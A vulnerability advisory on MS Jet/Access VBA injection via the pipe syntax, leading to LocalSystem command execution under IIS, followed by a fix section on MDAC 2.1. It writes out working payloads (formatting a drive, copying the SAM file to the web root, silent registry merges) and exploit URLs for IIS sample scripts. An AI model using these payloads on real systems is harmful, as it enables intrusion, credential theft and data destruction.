COMMAND
ODBC
SYSTEMS AFFECTED
NT ODBC Remote Compromise
PROBLEM
".rain.forest.puppy." found following. MS Jet database engine
(which runs Access databases) allows an individual to embed VBA in
string expressions, which may allow the individual to run
commandline NT commands. This, combined with the flaw of IIS
running ODBC commands as system_local allow a remote attacker to
have full control of the system. Other webservers may be
affected. Many MS Jet engines are affected, but may not lead to
elevated priviledges.
ODBC allows a program flexible access to one or more relational
databases using SQL. If a client fails to quote correctly the
meta characters in a piece of data used in an SQL query, an
attacker may be able to interfere with the tables in the database
(see MS SQL appension 'feature' in Phrack 54, article 8).
However, the Microsoft "Jet" database engine (aka MS Access)
provides some extensions to SQL which allow the execution of VBA
(Visual Basic for Applications). This makes holes in meta
character quoting code much more interesting and dangerous.
In SQL, strings must be enclosed in single quotes. If a string
includes a single quote it must be escaped by doubling it up. The
Jet engine extends this by allowing strings to enclose a VBA
expression inside vertical bar characters in the string, like
this:
select 'lil'' string | 6+7 | with number' as foo from table;
This will produce a recordset containing one field with the value
"lil' string 13 with number" for each row of the input table.
Innocent enough, if the CGI or ASP programs correctly quote the
incoming data. However, since the pipe operator is a rather
obscure character and is very poorly documented, most people don't
know it's there - apparently even Microsoft programmers.
Where does it apply? Any textual data included in a Jet SQL
query can contain quoted VBA, whether it is in data to be inserted
in a new record or part of a condition expression. This makes the
hole very general (or flexible, if you prefer), since you don't
need to know the context in which the string will be evaluated.
The biggest restriction is that the code must be evaluated in an
expression context - no statements. Anything listed as "VBA" in
the "Functions Reference" page of the Access Help file will work,
although this seems to vary between versions of the Jet engine -
for example, in some cases the "eval" function works and in others
it doesn't (although when it is available, eval doesn't actually
help much because the |...| operator offers a similar if not
identical context).
The most useful command is "shell", although this in itself cannot
do redirections or pipes - cmd.exe can assist with this though.
By using the shell function and running cmd.exe, an attacker can
run any command on the system. environ() can also be useful to
get environment variables values into your commands, and chr()
can be very handy for quoting awkward characters using
alphanumerics and brackets. There are also the standard functions
like iif() and various string operations (use "&" for
concatenation). It would be very difficult to include any kind
of loop in the VBA fragment because loops do not have return
values.
Which characters need quoting, and how? If the exploit string
will be passing through anything that tries to escape special
characters then ' will be double up - best to use " instead.
Ironically, the vertical bar character can only be escaped by
using it to evaluate the chr(124) function. VBA will take pairs
of double-quotes (") in a VBA string constant the same way SQL
will take pairs of single-quotes. If this doesn't seem to work
you can always use chr(34). ASP also provides a convenient
debugging aid - if the expression cannot be correctly evaluated
the error message will often include the whole SQL query with the
partially decoded exploit string in it--this could help an
attacker 'tweak' the exploit string until it works. If the
command needs to be broken up with newlines, they can be inserted
between VBA operators inside the |...| construction.
An example of a pipeline:
|shell("cmd /c echo " & chr(124) & " format a:")|
will format whatever is in the floppy drive at the time. Any
errors will be silently ignored, although an iconised window will
take the focus for the duration of the command. Using "cmd /c"
allows the command piping necessary to get a newline into the
format command, otherwise the pipe and 'format' are passed as
arguments to 'echo'. This string can be included in anything from
a simple ODBC operation to a text item in an ASP form on a web
page. The function will normally evaluate to a two or three digit
number. A more sophie's-stick-ate-it example involves grabbing a
copy of the SAM:
|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
Example above includes assumptions about the location of the
system and www publishing directory; it's only an example.
Commands can be stacked:
|shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \
>> %temp%\foo.txt") & shell("cmd /c echo 3 >> %temp%\foo.txt")|
Line broken for clarity!!!! It is not clear that the commands
will always be executed in order. Each shell command executes
asynchronously so the code above has two races for whether the
shell commands finish updating the file before the next one
starts - results will be variable.
Ultimately the hole allows anything since you can up/download and
run any code, but modifying registry keys from VBA seems to be a
little tricky. The method using advapi32.dll won't work because
it requires statements to declare functions from the library, but
there doesn't seem to be a way of giving a statement a return
value in VBA. It would be easier to create a temporary .reg file
and then merge it with "cmd /c regedit /s %temp%\tmp.reg"; the
'/s' is important, as it suppresses the informational
dialogs/windows.
The dangerous part comes from a context misinterpretation with
IIS. IIS runs as system_local; it changes its token context
(typically to IUSR_xxx) for filesystem access and application
execution. However, the context does *NOT* change when
interfacing with the ODBC API. Therefore all ODBC functions (and
the associated database calls) are happening under system_local.
This allows full access to the system.
This problem can be used over the web against scripts that make
queries against local MS Jet ODBC DSNs, therefore, any script or
application that uses a MS Jet ODBC DSN could potentially be
exploited.
Ok, so let's get down to some nitty-gritty, real-life examples.
We'll give a few that just demonstrate the problem....but since
any script/application that gives user entered strings to the MS
Jet ODBC DSN are vulnerable, we're not going to laundry-list them;
rather, we'll show some of the more common cases we found. Just
some really quick background on ODBC & DSNs: an application
'connects' to the ODBC service specifying a specific DSN to query
to. The DSNs are defined in the ODBC32 applet of the control
panel. Each DSN is basically a description of the name of the
DSN, the drivers to use (in our case, the MS Jet/Access drivers),
and location of the actual database (a .mdb file somewhere in the
filesystem). We could also have DSNs that used drivers such as
Oracle or MS Sql, and the location would be another server. The
whole point is that you only need to know the DSN name--ODBC will
take care of where and how the actual database is to be used. So,
great, these scripts query a DSN by name. Well, there are times
were a server can have the scripts we mention, but when ran, you
get an error saying DSN is not found. So now what? Well, if it's
an IIS server, check for the existance of
/scripts/tools/newdsn.exe. Yes, IIS includes CGI appliations *to
make DSNs*. If the server doesn't have the DSN we need, we can
just make it for them. We only need newdsn.exe, but it's possible
to use a 'GUI' through getdrvrs.exe and dsnform.exe. Here's
a flowchart:
http://server/scripts/tools/getdrvrs.exe
-> pick Microsoft Access Driver (*.mdb)
-> Enter in the correct DSN name
-> Enter a location for the .mdb, example: c:\web.mdb
-> Submit
This will create the DSN. If you want to be ultra-elite and do it
the hard way, you can pass all the parameters to newdsn.exe like
so:
http://server/scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=DSN_name&dbq=c:\web.mdb&newdb=CREATE_DB&attr=
Where dsn is the name you want, and dbq is the file location. So
for all the examples, we'll include the DSN name, just in case you
have to create it.
A good example script is
http://server/scripts/samples/details.idc?Fname=&Lname=
stick your shellcode in for either Fname or Lname, like so:
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
This uses DSN named "Web SQL" (notice the space). However, this
causes problems, because the actual table must be initialized in
the DSN. Never pheer, scripts are here! Run
http://server/scripts/samples/ctguestb.idc
after you create the DSN (if you had to) and before you run
details.idc. Starting with IIS 4.0, Microsoft bundled a way to do
remote SQL queries on a DSN simply by interfacting via HTTP to a
specific .dll. Bug? Hole? Nope, in the documentation Microsoft
states that having MSADC installed could lead to security
problems. The particular .dll is at
http://server/msadc/msadcs.dll
Now the particular problem is that there's a slightly custom way
to interface to the .dll, using multipart-forms. So it's beyond
the scope of just typing in a paramter by hand. So there's two
options. One is to see if the server also has the (optional)
interface installed. Check out for the existance of
http://server/msadc/samples/adctest.asp
Note: you have to use Internet Explorer 4.0+ for this. This will
give you a Java/Javascript interface that allows you to specify
the DSN, uid/password, and SQL string to execute. Note that
you'll have to obtain the table structure for the DSNs mentioned
herein, because you'll need to construct a valid SQL statement.
The other option is to obtain those files yourself from another
server, or download and install the MS RDS/ADO/ADC components.
Look at
http://www.microsoft.com/data/ado/
for more info and where to download. One note is that the Java
interface lets you specify which server to use. So you can open
the interface locally, off your own server, or find it on server
1, and specify to run SQL commands against whatever DSN on server
2. The one caveat is that error information is not displayed. It
helps to have a sniffer going to see if what ODBC error messages
are returned, if any. If you don't get a record listing, you
might want to see what the error was.
You can obviously just execute SQL commands that contain the pipe
character. For instance:
Connection: DSN=AdvWorks
Query: Select * from Products where ProductType='|shell("")|'
Insert your shellcode in the shell() function. Note: The code is
server-side ASP Javascript. As a number of people will point
out, running it at the client isn't going to help.
Bronek Kozicki has done some testings too. If instead of .IDC
(which is considered obsolete) one is using .ASP + ADODB, and
ADODB provider used is "Microsoft.Jet.OLEDB.3.51" (i.e. older
than "4.0") then problem still exists. It's worthy to notice that
SQL implementation used in both Jet 4 and Jet 3.5 is little
different. Thus applications (in some situations) cannot be
simple ported from one to another. One thing he found is
different handling of single- and double-qoute character. MS
still have not documented differences AFAIK MS Jet 4 comes with
Microsoft Data Access 2.1 (MSDAC21). Following is test platform:
System: WinNT Wrkst 4 US, SP5 , IE5 , IIS 4 (Option Pack), ODBC
MS Access Driver 4.00.3513.00, other (cursor library,
administrator etc.) ODBC files 3.510.3711.0
Database: Access 97, Jet 3.51.2026.0 (also Jet 4.00.2115.25
installed, but Access 97 uses older version) Table
"guests" as described in Web SQL.
Query "SecurityTest" as bellow:
SELECT FirstName, LastName FROM Guests WHERE LastName = '|Shell("notepad.exe",1)|';
What happens:
- If you open the query under MS Access, it opens Notepad app and
shows the (empty) resultset. So far mentioned SQL "feature"
works.
- If you use MSQRY32.EXE to open the database (), nothing more
happen than showing the resultset (empty one). The same if you
run SQRY32 from within MS Excel ("Get Externala Data")
- Create TEST.IDC file as bellow (and TEST.HTX, of course):
Datasource: Web SQL
Username: sa
Template: details.htx
SQLStatement:
+SELECT FirstName, LastName
+FROM SecurityTest
and opened it through HTTP. The only result is an empty
resultset. If you check list of processes (using TLIST.EXE)
you'll see notepad was not run.
- Create TEST2.IDC file as bellow:
Datasource: Web SQL
Username: sa
Template: details.htx
SQLStatement:
+SELECT FirstName, LastName
+FROM Guests
+WHERE LastName <> '|Shell("notepad.exe",1)|'
The same. Notepad did not run.
- Created very simple .ASP
<HTML>
<HEAD>
<%
Param = Request.QueryString("Param")
Data = Request.QueryString("Data")
%>
</HEAD>
<BODY>
<%
Set Conn1 = CreateObject("ADODB.Connection")
'strConn = "Provider=Microsoft.Jet.OLEDB.3.51;Data
Source=c:\temp\test.mdb;Mode=Read"
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data
Source=c:\temp\test.mdb;Mode=Read"
strSQL = "SELECT FirstName , LastName FROM SecurityTest"
Conn1.Open strConn
Set RSet1 = Conn1.Execute(strSQL)
RSet1.Close
Conn1.Close
%>
</BODY>
</HTML>
Notice that there are 2 connection strings, one is used and the
other commented out. Upper connection string
("Provider=Microsoft.Jet.OLEDB.3.51")
is UNSAFE. When opened .ASP will start NOTEPAD.EXE in the context
of WWW server. If WWW client can type-in any literal into HTML
form, pass it to .ASP application (for exaple to be used in
"WHERE" clause) and it remains non-parsed, then he/she will be
able to run ANY code in the context of LocalSystem. If such a
WWW server is also domain controller ... Lower connection string
("Provider=Microsoft.Jet.OLEDB.4.0") seems to be safe.
Daryl Banttari reports that Allaire's ColdFusion product is
vulnerable to the same attack when using Access datasources, but
appears not to be vulnerable after installing MDAC 2.1.
SOLUTION
Note the following excerpt from a MS Knowledge Base article:
(http://support.microsoft.com/support/kb/articles/q147/6/87.asp):
Pipe Character or Vertical Bar
The pipe character or vertical bar is a reserved character for
the Jet database engine. It tells the Jet database engine to
evaluate the identifier before evaluating the rest of the
expression. Therefore, the Jet database engine inserts the
value of the identifier in the expression, and then evaluates it
Vertical bars are used most often in domain aggregate functions
when you want the function to automatically recalculate the
value it returns in filters. Or vertical bars are used as an
alternative to the ampersand (&) operator when you concatenate
text values. Because of this, you cannot embed the vertical bar
(|) in a literal string, you must embed the Chr() function.
Chr(124) is the vertical bar.
The solution is to not use MS Jet ODBC drivers for any DSN--until
Microsoft releases a fix. But since this is a documented feature,
there stands a chance that some applications may break if removed.
Bronek Kozicki has done some testings too. Seems like this error
has been repaired in MSJET40, but exists in MSJET35. Effectively,
if Jet 4 is installed (and it's used by ODBC) there's no problem
with .IDC files. Because MS Access 97 is using Jet 3.5 (even if
Jet 4 is installed), the problem still can be seen there.
MDAC 2.1 solves the problems described. The fact is that you
should not simply upgrade to it without understanding what it
changes (and what effect those changes may have on your existing
environment). So:
http://www.microsoft.com/data/MDAC21info/MDAC21GAmanifest.htm
which has a ton of information about the MDAC 2.1 release. If
you are using Excel data sources and are updating data in them you
will want to keep in mind that upgrading to MDAC 2.1 will break
those data sources. MDAC 2.1 no longer supports the update method
for Excel data sources. This will, for example, cause Cold Fusion
to access violate, and often causes crashes in InetSrv.exe if you
are using IIS.
If you are using Microsoft Access with your Web applications Cold
Fusion team strongly recommends that you review this bulletin:
ASB99-09: Solutions to Issues that Allow Users to Execute
Commands through Microsoft Access